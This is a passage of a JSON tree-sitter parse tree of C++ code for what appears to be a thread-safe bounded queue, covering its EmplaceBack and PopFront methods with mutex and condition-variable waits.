<typename", "parent": 451, "children": [453, 454, 455], "start_point": {"row": 103, "column": 2}, "end_point": {"row": 103, "column": 20}}, {"id": 453, "type": "identifier", "text": "template", "parent": 452, "children": [], "start_point": {"row": 103, "column": 2}, "end_point": {"row": 103, "column": 10}}, {"id": 454, "type": "<", "text": "<", "parent": 452, "children": [], "start_point": {"row": 103, "column": 11}, "end_point": {"row": 103, "column": 12}}, {"id": 455, "type": "identifier", "text": "typename", "parent": 452, "children": [], "start_point": {"row": 103, "column": 12}, "end_point": {"row": 103, "column": 20}}, {"id": 456, "type": "ERROR", "text": "... Ts", "parent": 451, "children": [457], "start_point": {"row": 103, "column": 20}, "end_point": {"row": 103, "column": 26}}, {"id": 457, "type": "identifier", "text": "Ts", "parent": 456, "children": [], "start_point": {"row": 103, "column": 24}, "end_point": {"row": 103, "column": 26}}, {"id": 458, "type": ">", "text": ">", "parent": 451, "children": [], "start_point": {"row": 103, "column": 26}, "end_point": {"row": 103, "column": 27}}, {"id": 459, "type": "ERROR", "text": "Status", "parent": 451, "children": [460], "start_point": {"row": 104, "column": 2}, "end_point": {"row": 104, "column": 8}}, {"id": 460, "type": "identifier", "text": "Status", "parent": 459, "children": [], "start_point": {"row": 104, "column": 2}, "end_point": {"row": 104, "column": 8}}, {"id": 461, "type": "call_expression", "text": "EmplaceBack(Ts &&... args)", "parent": 451, "children": [462, 463], "start_point": {"row": 104, "column": 9}, "end_point": {"row": 104, "column": 35}}, {"id": 462, "type": "identifier", "text": "EmplaceBack", "parent": 461, "children": [], "start_point": {"row": 104, "column": 9}, "end_point": {"row": 104, "column": 20}}, {"id": 463, "type": "argument_list", "text": "(Ts &&... args)", "parent": 461, "children": [464], "start_point": {"row": 104, "column": 20}, "end_point": {"row": 104, "column": 35}}, {"id": 464, "type": "binary_expression", "text": "Ts &&... args", "parent": 463, "children": [465, 466, 467], "start_point": {"row": 104, "column": 21}, "end_point": {"row": 104, "column": 34}}, {"id": 465, "type": "identifier", "text": "Ts", "parent": 464, "children": [], "start_point": {"row": 104, "column": 21}, "end_point": {"row": 104, "column": 23}}, {"id": 466, "type": "&&", "text": "&&", "parent": 464, "children": [], "start_point": {"row": 104, "column": 24}, "end_point": {"row": 104, "column": 26}}, {"id": 467, "type": "identifier", "text": "args", "parent": 464, "children": [], "start_point": {"row": 104, "column": 30}, "end_point": {"row": 104, "column": 34}}, {"id": 468, "type": "identifier", "text": "noexcept", "parent": 450, "children": [], "start_point": {"row": 104, "column": 36}, "end_point": {"row": 104, "column": 44}}, {"id": 469, "type": "labeled_statement", "text": "std::unique_lock<std::mutex> _lock(mux_);", "parent": 51, "children": [470, 471], "start_point": {"row": 105, "column": 4}, "end_point": {"row": 105, "column": 45}}, {"id": 470, "type": "statement_identifier", "text": "std", "parent": 469, "children": [], "start_point": {"row": 105, "column": 4}, "end_point": {"row": 105, "column": 7}}, {"id": 471, "type": "ERROR", "text": "::unique_lock<std:", "parent": 469, "children": [472], "start_point": {"row": 105, "column": 7}, "end_point": {"row": 105, "column": 25}}, {"id": 472, "type": "binary_expression", "text": "unique_lock<std", "parent": 471, "children": [473, 474, 475], "start_point": {"row": 105, "column": 9}, "end_point": {"row": 105, "column": 24}}, {"id": 473, "type": "identifier", "text": "unique_lock", "parent": 472, "children": [], "start_point": {"row": 105, "column": 9}, "end_point": {"row": 105, "column": 20}}, {"id": 474, "type": "<", "text": "<", "parent": 472, "children": [], "start_point": {"row": 105, "column": 20}, "end_point": {"row": 105, "column": 21}}, {"id": 475, "type": "identifier", "text": "std", "parent": 472, "children": [], "start_point": {"row": 105, "column": 21}, "end_point": {"row": 105, "column": 24}}, {"id": 476, "type": "binary_expression", "text": "mutex> _lock(mux_)", "parent": 469, "children": [477, 478, 479], "start_point": {"row": 105, "column": 26}, "end_point": {"row": 105, "column": 44}}, {"id": 477, "type": "identifier", "text": "mutex", "parent": 476, "children": [], "start_point": {"row": 105, "column": 26}, "end_point": {"row": 105, "column": 31}}, {"id": 478, "type": ">", "text": ">", "parent": 476, "children": [], "start_point": {"row": 105, "column": 31}, "end_point": {"row": 105, "column": 32}}, {"id": 479, "type": "call_expression", "text": "_lock(mux_)", "parent": 476, "children": [480, 481], "start_point": {"row": 105, "column": 33}, "end_point": {"row": 105, "column": 44}}, {"id": 480, "type": "identifier", "text": "_lock", "parent": 479, "children": [], "start_point": {"row": 105, "column": 33}, "end_point": {"row": 105, "column": 38}}, {"id": 481, "type": "argument_list", "text": "(mux_)", "parent": 479, "children": [482], "start_point": {"row": 105, "column": 38}, "end_point": {"row": 105, "column": 44}}, {"id": 482, "type": "identifier", "text": "mux_", "parent": 481, "children": [], "start_point": {"row": 105, "column": 39}, "end_point": {"row": 105, "column": 43}}, {"id": 483, "type": "declaration", "text": "Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });", "parent": 51, "children": [484, 485], "start_point": {"row": 107, "column": 4}, "end_point": {"row": 107, "column": 91}}, {"id": 484, "type": "type_identifier", "text": "Status", "parent": 483, "children": [], "start_point": {"row": 107, "column": 4}, "end_point": {"row": 107, "column": 10}}, {"id": 485, "type": "init_declarator", "text": "rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); })", "parent": 483, "children": [486, 487, 488], "start_point": {"row": 107, "column": 11}, "end_point": {"row": 107, "column": 90}}, {"id": 486, "type": "identifier", "text": "rc", "parent": 485, "children": [], "start_point": {"row": 107, "column": 11}, "end_point": {"row": 107, "column": 13}}, {"id": 487, "type": "=", "text": "=", "parent": 485, "children": [], "start_point": {"row": 107, "column": 14}, "end_point": {"row": 107, "column": 15}}, {"id": 488, "type": "call_expression", "text": "full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); })", "parent": 485, "children": [489, 492], "start_point": {"row": 107, "column": 16}, "end_point": {"row": 107, "column": 90}}, {"id": 489, "type": "field_expression", "text": "full_cv_.Wait", "parent": 488, "children": [490, 491], "start_point": {"row": 107, "column": 16}, "end_point": {"row": 107, "column": 29}}, {"id": 490, "type": "identifier", "text": "full_cv_", "parent": 489, "children": [], "start_point": {"row": 107, "column": 16}, "end_point": {"row": 107, "column": 24}}, {"id": 491, "type": "field_identifier", "text": "Wait", "parent": 489, "children": [], "start_point": {"row": 107, "column": 25}, "end_point": {"row": 107, "column": 29}}, {"id": 492, "type": "argument_list", "text": "(&_lock, [this]() -> bool { return (size() != capacity()); })", "parent": 488, "children": [493], "start_point": {"row": 107, "column": 29}, "end_point": {"row": 107, "column": 90}}, {"id": 493, "type": "ERROR", "text": "&_lock, [this]() -> bool", "parent": 492, "children": [494], "start_point": {"row": 107, "column": 30}, "end_point": {"row": 107, "column": 54}}, {"id": 494, "type": "field_expression", "text": "&_lock, [this]() -> bool", "parent": 493, "children": [495, 501], "start_point": {"row": 107, "column": 30}, "end_point": {"row": 107, "column": 54}}, {"id": 495, "type": "call_expression", "text": "&_lock, [this]()", "parent": 494, "children": [496, 500], "start_point": {"row": 107, "column": 30}, "end_point": {"row": 107, "column": 46}}, {"id": 496, "type": "subscript_expression", "text": "&_lock, [this]", "parent": 495, "children": [497, 499], "start_point": {"row": 107, "column": 30}, "end_point": {"row": 107, "column": 44}}, {"id": 497, "type": "pointer_expression", "text": "&_lock", "parent": 496, "children": [498], "start_point": {"row": 107, "column": 30}, "end_point": {"row": 107, "column": 36}}, {"id": 498, "type": "identifier", "text": "_lock", "parent": 497, "children": [], "start_point": {"row": 107, "column": 31}, "end_point": {"row": 107, "column": 36}}, {"id": 499, "type": "identifier", "text": "this", "parent": 496, "children": [], "start_point": {"row": 107, "column": 39}, "end_point": {"row": 107, "column": 43}}, {"id": 500, "type": "argument_list", "text": "()", "parent": 495, "children": [], "start_point": {"row": 107, "column": 44}, "end_point": {"row": 107, "column": 46}}, {"id": 501, "type": "field_identifier", "text": "bool", "parent": 494, "children": [], "start_point": {"row": 107, "column": 50}, "end_point": {"row": 107, "column": 54}}, {"id": 502, "type": "return_statement", "text": "return (size() != capacity());", "parent": 492, "children": [503], "start_point": {"row": 107, "column": 57}, "end_point": {"row": 107, "column": 87}}, {"id": 503, "type": "parenthesized_expression", "text": "(size() != capacity())", "parent": 502, "children": [504], "start_point": {"row": 107, "column": 64}, "end_point": {"row": 107, "column": 86}}, {"id": 504, "type": "binary_expression", "text": "size() != capacity()", "parent": 503, "children": [505, 508, 509], "start_point": {"row": 107, "column": 65}, "end_point": {"row": 107, "column": 85}}, {"id": 505, "type": "call_expression", "text": "size()", "parent": 504, "children": [506, 507], "start_point": {"row": 107, "column": 65}, "end_point": {"row": 107, "column": 71}}, {"id": 506, "type": "identifier", "text": "size", "parent": 505, "children": [], "start_point": {"row": 107, "column": 65}, "end_point": {"row": 107, "column": 69}}, {"id": 507, "type": "argument_list", "text": "()", "parent": 505, "children": [], "start_point": {"row": 107, "column": 69}, "end_point": {"row": 107, "column": 71}}, {"id": 508, "type": "!=", "text": "!=", "parent": 504, "children": [], "start_point": {"row": 107, "column": 72}, "end_point": {"row": 107, "column": 74}}, {"id": 509, "type": "call_expression", "text": "capacity()", "parent": 504, "children": [510, 511], "start_point": {"row": 107, "column": 75}, "end_point": {"row": 107, "column": 85}}, {"id": 510, "type": "identifier", "text": "capacity", "parent": 509, "children": [], "start_point": {"row": 107, "column": 75}, "end_point": {"row": 107, "column": 83}}, {"id": 511, "type": "argument_list", "text": "()", "parent": 509, "children": [], "start_point": {"row": 107, "column": 83}, "end_point": {"row": 107, "column": 85}}, {"id": 512, "type": "if_statement", "text": "if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }", "parent": 51, "children": [513, 560], "start_point": {"row": 108, "column": 4}, "end_point": {"row": 115, "column": 5}}, {"id": 513, "type": "parenthesized_expression", "text": "(rc.IsOk())", "parent": 512, "children": [514], "start_point": {"row": 108, "column": 7}, "end_point": {"row": 108, "column": 18}}, {"id": 514, "type": "call_expression", "text": "rc.IsOk()", "parent": 513, "children": [515, 518], "start_point": {"row": 108, "column": 8}, "end_point": {"row": 108, "column": 17}}, {"id": 515, "type": "field_expression", "text": "rc.IsOk", "parent": 514, "children": [516, 517], "start_point": {"row": 108, "column": 8}, "end_point": {"row": 108, "column": 15}}, {"id": 516, "type": "identifier", "text": "rc", "parent": 515, "children": [], "start_point": {"row": 108, "column": 8}, "end_point": {"row": 108, "column": 10}}, {"id": 517, "type": "field_identifier", "text": "IsOk", "parent": 515, "children": [], "start_point": {"row": 108, "column": 11}, "end_point": {"row": 108, "column": 15}}, {"id": 518, "type": "argument_list", "text": "()", "parent": 514, "children": [], "start_point": {"row": 108, "column": 15}, "end_point": {"row": 108, "column": 17}}, {"id": 519, "type": "declaration", "text": "auto k = tail_++ % sz_;", "parent": 512, "children": [520, 522, 523], "start_point": {"row": 109, "column": 6}, "end_point": {"row": 109, "column": 29}}, {"id": 520, "type": "storage_class_specifier", "text": "auto", "parent": 519, "children": [521], "start_point": {"row": 109, "column": 6}, "end_point": {"row": 109, "column": 10}}, {"id": 521, "type": "auto", "text": "auto", "parent": 520, "children": [], "start_point": {"row": 109, "column": 6}, "end_point": {"row": 109, "column": 10}}, {"id": 522, "type": "type_identifier", "text": "k", "parent": 519, "children": [], "start_point": {"row": 109, "column": 11}, "end_point": {"row": 109, "column": 12}}, {"id": 523, "type": "init_declarator", "text": " = tail_++ % sz_", "parent": 519, "children": [524, 525, 526], "start_point": {"row": 109, "column": 12}, "end_point": {"row": 109, "column": 28}}, {"id": 524, "type": "identifier", "text": "", "parent": 523, "children": [], "start_point": {"row": 109, "column": 12}, "end_point": {"row": 109, "column": 12}}, {"id": 525, "type": "=", "text": "=", "parent": 523, "children": [], "start_point": {"row": 109, "column": 13}, "end_point": {"row": 109, "column": 14}}, {"id": 526, "type": "binary_expression", "text": "tail_++ % sz_", "parent": 523, "children": [527, 530, 531], "start_point": {"row": 109, "column": 15}, "end_point": {"row": 109, "column": 28}}, {"id": 527, "type": "update_expression", "text": "tail_++", "parent": 526, "children": [528, 529], "start_point": {"row": 109, "column": 15}, "end_point": {"row": 109, "column": 22}}, {"id": 528, "type": "identifier", "text": "tail_", "parent": 527, "children": [], "start_point": {"row": 109, "column": 15}, "end_point": {"row": 109, "column": 20}}, {"id": 529, "type": "++", "text": "++", "parent": 527, "children": [], "start_point": {"row": 109, "column": 20}, "end_point": {"row": 109, "column": 22}}, {"id": 530, "type": "%", "text": "%", "parent": 526, "children": [], "start_point": {"row": 109, "column": 23}, "end_point": {"row": 109, "column": 24}}, {"id": 531, "type": "identifier", "text": "sz_", "parent": 526, "children": [], "start_point": {"row": 109, "column": 25}, "end_point": {"row": 109, "column": 28}}, {"id": 532, "type": "declaration", "text": "new (arr_[k]) T(std::forward<Ts>(args)...);", "parent": 512, "children": [533, 538, 549], "start_point": {"row": 110, "column": 6}, "end_point": {"row": 110, "column": 49}}, {"id": 533, "type": "macro_type_specifier", "text": "new (arr_[k])", "parent": 532, "children": [534], "start_point": {"row": 110, "column": 6}, "end_point": {"row": 110, "column": 19}}, {"id": 534, "type": "type_descriptor", "text": "arr_[k]", "parent": 533, "children": [535, 536], "start_point": {"row": 110, "column": 11}, "end_point": {"row": 110, "column": 18}}, {"id": 535, "type": "type_identifier", "text": "arr_", "parent": 534, "children": [], "start_point": {"row": 110, "column": 11}, "end_point": {"row": 110, "column": 15}}, {"id": 536, "type": "abstract_array_declarator", "text": "[k]", "parent": 534, "children": [537], "start_point": {"row": 110, "column": 15}, "end_point": {"row": 110, "column": 18}}, {"id": 537, "type": "identifier", "text": "k", "parent": 536, "children": [], "start_point": {"row": 110, "column": 16}, "end_point": {"row": 110, "column": 17}}, {"id": 538, "type": "function_declarator", "text": "T(std::forward<Ts>(args)", "parent": 532, "children": [539, 540], "start_point": {"row": 110, "column": 20}, "end_point": {"row": 110, "column": 44}}, {"id": 539, "type": "identifier", "text": "T", "parent": 538, "children": [], "start_point": {"row": 110, "column": 20}, "end_point": {"row": 110, "column": 21}}, {"id": 540, "type": "parameter_list", "text": "(std::forward<Ts>(args)", "parent": 538, "children": [541], "start_point": {"row": 110, "column": 21}, "end_point": {"row": 110, "column": 44}}, {"id": 541, "type": "parameter_declaration", "text": "std::forward<Ts>(args", "parent": 540, "children": [542, 543, 548], "start_point": {"row": 110, "column": 22}, "end_point": {"row": 110, "column": 43}}, {"id": 542, "type": "type_identifier", "text": "std", "parent": 541, "children": [], "start_point": {"row": 110, "column": 22}, "end_point": {"row": 110, "column": 25}}, {"id": 543, "type": "ERROR", "text": "::forward<Ts>(", "parent": 541, "children": [544, 545, 546, 547], "start_point": {"row": 110, "column": 25}, "end_point": {"row": 110, "column": 39}}, {"id": 544, "type": "identifier", "text": "forward", "parent": 543, "children": [], "start_point": {"row": 110, "column": 27}, "end_point": {"row": 110, "column": 34}}, {"id": 545, "type": "<", "text": "<", "parent": 543, "children": [], "start_point": {"row": 110, "column": 34}, "end_point": {"row": 110, "column": 35}}, {"id": 546, "type": "identifier", "text": "Ts", "parent": 543, "children": [], "start_point": {"row": 110, "column": 35}, "end_point": {"row": 110, "column": 37}}, {"id": 547, "type": ">", "text": ">", "parent": 543, "children": [], "start_point": {"row": 110, "column": 37}, "end_point": {"row": 110, "column": 38}}, {"id": 548, "type": "identifier", "text": "args", "parent": 541, "children": [], "start_point": {"row": 110, "column": 39}, "end_point": {"row": 110, "column": 43}}, {"id": 549, "type": "ERROR", "text": "...)", "parent": 532, "children": [], "start_point": {"row": 110, "column": 44}, "end_point": {"row": 110, "column": 48}}, {"id": 550, "type": "call_expression", "text": "empty_cv_.NotifyAll()", "parent": 512, "children": [551, 554], "start_point": {"row": 111, "column": 6}, "end_point": {"row": 111, "column": 27}}, {"id": 551, "type": "field_expression", "text": "empty_cv_.NotifyAll", "parent": 550, "children": [552, 553], "start_point": {"row": 111, "column": 6}, "end_point": {"row": 111, "column": 25}}, {"id": 552, "type": "identifier", "text": "empty_cv_", "parent": 551, "children": [], "start_point": {"row": 111, "column": 6}, "end_point": {"row": 111, "column": 15}}, {"id": 553, "type": "field_identifier", "text": "NotifyAll", "parent": 551, "children": [], "start_point": {"row": 111, "column": 16}, "end_point": {"row": 111, "column": 25}}, {"id": 554, "type": "argument_list", "text": "()", "parent": 550, "children": [], "start_point": {"row": 111, "column": 25}, "end_point": {"row": 111, "column": 27}}, {"id": 555, "type": "call_expression", "text": "_lock.unlock()", "parent": 512, "children": [556, 559], "start_point": {"row": 112, "column": 6}, "end_point": {"row": 112, "column": 20}}, {"id": 556, "type": "field_expression", "text": "_lock.unlock", "parent": 555, "children": [557, 558], "start_point": {"row": 112, "column": 6}, "end_point": {"row": 112, "column": 18}}, {"id": 557, "type": "identifier", "text": "_lock", "parent": 556, "children": [], "start_point": {"row": 112, "column": 6}, "end_point": {"row": 112, "column": 11}}, {"id": 558, "type": "field_identifier", "text": "unlock", "parent": 556, "children": [], "start_point": {"row": 112, "column": 12}, "end_point": {"row": 112, "column": 18}}, {"id": 559, "type": "argument_list", "text": "()", "parent": 555, "children": [], "start_point": {"row": 112, "column": 18}, "end_point": {"row": 112, "column": 20}}, {"id": 560, "type": "else_clause", "text": "else {\n empty_cv_.Interrupt();\n }", "parent": 512, "children": [], "start_point": {"row": 113, "column": 6}, "end_point": {"row": 115, "column": 5}}, {"id": 561, "type": "call_expression", "text": "empty_cv_.Interrupt()", "parent": 560, "children": [562, 565], "start_point": {"row": 114, "column": 6}, "end_point": {"row": 114, "column": 27}}, {"id": 562, "type": "field_expression", "text": "empty_cv_.Interrupt", "parent": 561, "children": [563, 564], "start_point": {"row": 114, "column": 6}, "end_point": {"row": 114, "column": 25}}, {"id": 563, "type": "identifier", "text": "empty_cv_", "parent": 562, "children": [], "start_point": {"row": 114, "column": 6}, "end_point": {"row": 114, "column": 15}}, {"id": 564, "type": "field_identifier", "text": "Interrupt", "parent": 562, "children": [], "start_point": {"row": 114, "column": 16}, "end_point": {"row": 114, "column": 25}}, {"id": 565, "type": "argument_list", "text": "()", "parent": 561, "children": [], "start_point": {"row": 114, "column": 25}, "end_point": {"row": 114, "column": 27}}, {"id": 566, "type": "return_statement", "text": "return rc;", "parent": 51, "children": [567], "start_point": {"row": 116, "column": 4}, "end_point": {"row": 116, "column": 14}}, {"id": 567, "type": "identifier", "text": "rc", "parent": 566, "children": [], "start_point": {"row": 116, "column": 11}, "end_point": {"row": 116, "column": 13}}, {"id": 568, "type": "function_definition", "text": "Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }", "parent": 51, "children": [569, 570], "start_point": {"row": 120, "column": 2}, "end_point": {"row": 132, "column": 3}}, {"id": 569, "type": "type_identifier", "text": "Status", "parent": 568, "children": [], "start_point": {"row": 120, "column": 2}, "end_point": {"row": 120, "column": 8}}, {"id": 570, "type": "function_declarator", "text": "PopFront(pointer p)", "parent": 568, "children": [571, 572], "start_point": {"row": 120, "column": 9}, "end_point": {"row": 120, "column": 28}}, {"id": 571, "type": "identifier", "text": "PopFront", "parent": 570, "children": [], "start_point": {"row": 120, "column": 9}, "end_point": {"row": 120, "column": 17}}, {"id": 572, "type": "parameter_list", "text": "(pointer p)", "parent": 570, "children": [573], "start_point": {"row": 120, "column": 17}, "end_point": {"row": 120, "column": 28}}, {"id": 573, "type": "parameter_declaration", "text": "pointer p", "parent": 572, "children": [574, 575], "start_point": {"row": 120, "column": 18}, "end_point": {"row": 120, "column": 27}}, {"id": 574, "type": "type_identifier", "text": "pointer", "parent": 573, "children": [], "start_point": {"row": 120, "column": 18}, "end_point": {"row": 120, "column": 25}}, {"id": 575, "type": "identifier", "text": "p", "parent": 573, "children": [], "start_point": {"row": 120, "column": 26}, "end_point": {"row": 120, "column": 27}}, {"id": 576, "type": "labeled_statement", "text": "std::unique_lock<std::mutex> _lock(mux_);", "parent": 568, "children": [577, 578], "start_point": {"row": 121, "column": 4}, "end_point": {"row": 121, "column": 45}}, {"id": 577, "type": "statement_identifier", "text": "std", "parent": 576, "children": [], "start_point": {"row": 121, "column": 4}, "end_point": {"row": 121, "column": 7}}, {"id": 578, "type": "ERROR", "text": "::unique_lock<std:", "parent": 576, "children": [579], "start_point": {"row": 121, "column": 7}, "end_point": {"row": 121, "column": 25}}, {"id": 579, "type": "binary_expression", "text": "unique_lock<std", "parent": 578, "children": [580, 581, 582], "start_point": {"row": 121, "column": 9}, "end_point": {"row": 121, "column": 24}}, {"id": 580, "type": "identifier", "text": "unique_lock", "parent": 579, "children": [], "start_point": {"row": 121, "column": 9}, "end_point": {"row": 121, "column": 20}}, {"id": 581, "type": "<", "text": "<", "parent": 579, "children": [], "start_point": {"row": 121, "column": 20}, "end_point": {"row": 121, "column": 21}}, {"id": 582, "type": "identifier", "text": "std", "parent": 579, "children": [], "start_point": {"row": 121, "column": 21}, "end_point": {"row": 121, "column": 24}}, {"id": 583, "type": "binary_expression", "text": "mutex> _lock(mux_)", "parent": 576, "children": [584, 585, 586], "start_point": {"row": 121, "column": 26}, "end_point": {"row": 121, "column": 44}}, {"id": 584, "type": "identifier", "text": "mutex", "parent": 583, "children": [], "start_point": {"row": 121, "column": 26}, "end_point": {"row": 121, "column": 31}}, {"id": 585, "type": ">", "text": ">", "parent": 583, "children": [], "start_point": {"row": 121, "column": 31}, "end_point": {"row": 121, "column": 32}}, {"id": 586, "type": "call_expression", "text": "_lock(mux_)", "parent": 583, "children": [587, 588], "start_point": {"row": 121, "column": 33}, "end_point": {"row": 121, "column": 44}}, {"id": 587, "type": "identifier", "text": "_lock", "parent": 586, "children": [], "start_point": {"row": 121, "column": 33}, "end_point": {"row": 121, "column": 38}}, {"id": 588, "type": "argument_list", "text": "(mux_)", "parent": 586, "children": [589], "start_point": {"row": 121, "column": 38}, "end_point": {"row": 121, "column": 44}}, {"id": 589, "type": "identifier", "text": "mux_", "parent": 588, "children": [], "start_point": {"row": 121, "column": 39}, "end_point": {"row": 121, "column": 43}}, {"id": 590, "type": "declaration", "text": "Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });", "parent": 568, "children": [591, 592], "start_point": {"row": 123, "column": 4}, "end_point": {"row": 123, "column": 78}}, {"id": 591, "type": "type_identifier", "text": "Status", "parent": 590, "children": [], "start_point": {"row": 123, "column": 4}, "end_point": {"row": 123, "column": 10}}, {"id": 592, "type": "init_declarator", "text": "rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); })", "parent": 590, "children": [593, 594, 595], "start_point": {"row": 123, "column": 11}, "end_point": {"row": 123, "column": 77}}, {"id": 593, "type": "identifier", "text": "rc", "parent": 592, "children": [], "start_point": {"row": 123, "column": 11}, "end_point": {"row": 123, "column": 13}}, {"id": 594, "type": "=", "text": "=", "parent": 592, "children": [], "start_point": {"row": 123, "column": 14}, "end_point": {"row": 123, "column": 15}}, {"id": 595, "type": "call_expression", "text": "empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); })", "parent": 592, "children": [596, 599], "start_point": {"row": 123, "column": 16}, "end_point": {"row": 123, "column": 77}}, {"id": 596, "type": "field_expression", "text": "empty_cv_.Wait", "parent": 595, "children": [597, 598], "start_point": {"row": 123, "column": 16}, "end_point": {"row": 123, "column": 30}}, {"id": 597, "type": "identifier", "text": "empty_cv_", "parent": 596, "children": [], "start_point": {"row": 123, "column": 16}, "end_point": {"row": 123, "column": 25}}, {"id": 598, "type": "field_identifier", "text": "Wait", "parent": 596, "children": [], "start_point": {"row": 123, "column": 26}, "end_point": {"row": 123, "column": 30}}, {"id": 599, "type": "argument_list", "text": "(&_lock, [this]() -> bool { return !empty(); })", "parent": 595, "children": [600], "start_point": {"row": 123, "column": 30}, "end_point": {"row": 123, "column": 77}}, {"id": 600, "type": "ERROR", "text": "&_lock, [this]() -> bool", "parent": 599, "children": [601], "start_point": {"row": 123, "column": 31}, "end_point": {"row": 123, "column": 55}}, {"id": 601, "type": "field_expression", "text": "&_lock, [this]() -> bool", "parent": 600, "children": [602, 608], "start_point": {"row": 123, "column": 31}, "end_point": {"row": 123, "column": 55}}, {"id": 602, "type": "call_expression", "text": "&_lock, [this]()", "parent": 601, "children": [603, 607], "start_point": {"row": 123, "column": 31}, "end_point": {"row": 123, "column": 47}}, {"id": 603, "type": "subscript_expression", "text": "&_lock, [this]", "parent": 602, "children": [604, 606], "start_point": {"row": 123, "column": 31}, "end_point": {"row": 123, "column": 45}}, {"id": 604, "type": "pointer_expression", "text": "&_lock", "parent": 603, "children": [605], "start_point": {"row": 123, "column": 31}, "end_point": {"row": 123, "column": 37}}, {"id": 605, "type": "identifier", "text": "_lock", "parent": 604, "children": [], "start_point": {"row": 123, "column": 32}, "end_point": {"row": 123, "column": 37}}, {"id": 606, "type": "identifier", "text": "this", "parent": 603, "children": [], "start_point": {"row": 123, "column": 40}, "end_point": {"row": 123, "column": 44}}, {"id": 607, "type": "argument_list", "text": "()", "parent": 602, "children": [], "start_point": {"row": 123, "column": 45}, "end_point": {"row": 123, "column": 47}}, {"id": 608, "type": "field_identifier", "text": "bool", "parent": 601, "children": [], "start_point": {"row": 123, "column": 51}, "end_point": {"row": 123, "column": 55}}, {"id": 609, "type": "return_statement", "text": "return !empty();", "parent": 599, "children": [610], "start_point": {"row": 123, "column": 58}, "end_point": {"row": 123, "column": 74}}, {"id": 610, "type": "unary_expression", "text": "!empty()", "parent": 609, "children": [611, 612], "start_point": {"row": 123, "column": 65}, "end_point": {"row": 123, "column": 73}}, {"id": 611, "type": "!", "text": "!", "parent": 610, "children": [], "start_point": {"row": 123, "column": 65}, "end_point": {"row": 123, "column": 66}}, {"id": 612, "type": "call_expression", "text": "empty()", "parent": 610, "children": [613, 614], "start_point": {"row": 123, "column": 66}, "end_point": {"row": 123, "column": 73}}, {"id": 613, "type": "identifier", "text": "empty", "parent": 612, "children": [], "start_point": {"row": 123, "column": 66}, "end_point": {"row": 123, "column": 71}}, {"id": 614, "type": "argument_list", "text": "()", "parent": 612, "children": [], "start_point": {"row": 123, "column": 71}, "end_point": {"row": 123, "column": 73}}, {"id": 615, "type": "if_statement", "text": "if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }", "parent": 568, "children": [616, 640], "start_point": {"row": 124, "column": 4}, "end_point": {"row": 130, "column": 5}}, {"id": 616, "type": "parenthesized_expression", "text": "(rc.IsOk())", "parent": 615, "children": [617], "start_point": {"row": 124, "column": 7}, "end_point": {"row": 124, "column": 18}}, {"id": 617, "type": "call_expression", "text": "rc.IsOk()", "parent": 616, "children": [618, 621], "start_point": {"row": 124, "column": 8}, "end_point": {"row": 124, "column": 17}}, {"id": 618, "type": "field_expression", "text": "rc.IsOk", "parent": 617, "children": [619, 620], "start_point": {"row": 124, "column": 8}, "end_point": {"row": 124, "column": 15}}, {"id": 619, "type": "identifier", "text": "rc", "parent": 618, "children": [], "start_point": {"row": 124, "column": 8}, "end_point": {"row": 124, "column": 10}}, {"id": 620, "type": "field_identifier", "text": "IsOk", "parent": 618, "children": [], "start_point": {"row": 124, "column": 11}, "end_point": {"row": 124, "column": 15}}, {"id": 621, "type": "argument_list", "text": "()", "parent": 617, "children": [], "start_point": {"row": 124, "column": 15}, "end_point": {"row": 124, "column": 17}}, {"id": 622, "type": "call_expression", "text": "RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true))", "parent": 615, "children": [623, 624], "start_point": {"row": 125, "column": 6}, "end_point": {"row": 125, "column": 57}}, {"id": 623, "type": "identifier", "text": "RETURN_IF_NOT_OK", "parent": 622, "children": [], "start_point": {"row": 125, "column": 6}, "end_point": {"row": 125, "column": 22}}, {"id": 624, "type": "argument_list", "text": "(PopFrontWhileHoldingLock(p, true))", "parent": 622, "children": [625], "start_point": {"row": 125, "column": 22}, "end_point": {"row": 125, "column": 57}}, {"id": 625, "type": "call_expression", "text": "PopFrontWhileHoldingLock(p, true)", "parent": 624, "children": [626, 627], "start_point": {"row": 125, "column": 23}, "end_point": {"row": 125, "column": 56}}, {"id": 626, "type": "identifier", "text": "PopFrontWhileHoldingLock", "parent": 625, "children": [], "start_point": {"row": 125, "column": 23}, "end_point": {"row": 125, "column": 47}}, {"id": 627, "type": "argument_list", "text": "(p, true)", "parent": 625, "children": [628, 629], "start_point": {"row": 125, "column": 47}, "end_point": {"row": 125, "column": 56}}, {"id": 628, "type": "identifier", "text": "p", "parent": 627, "children": [], "start_point": {"row": 125, "column": 48}, "end_point": {"row": 125, "column": 49}}, {"id": 629, "type": "true", "text": "true", "parent": 627, "children": [], "start_point": {"row": 125, "column": 51}, "end_point": {"row": 125, "column": 55}}, {"id": 630, "type": "call_expression", "text": "full_cv_.NotifyAll()", "parent": 615, "children": [631, 634], "start_point": {"row": 126, "column": 6}, "end_point": {"row": 126, "column": 26}}, {"id": 631, "type": "field_expression", "text": "full_cv_.NotifyAll", "parent": 630, "children": [632, 633], "start_point": {"row": 126, "column": 6}, "end_point": {"row": 126, "column": 24}}, {"id": 632, "type": "identifier", "text": "full_cv_", "parent": 631, "children": [], "start_point": {"row": 126, "column": 6}, "end_point": {"row": 126, "column": 14}}, {"id": 633, "type": "field_identifier", "text": "NotifyAll", "parent": 631, "children": [], "start_point": {"row": 126, "column": 15}, "end_point": {"row": 126, "column": 24}}, {"id": 634, "type": "argument_list", "text": 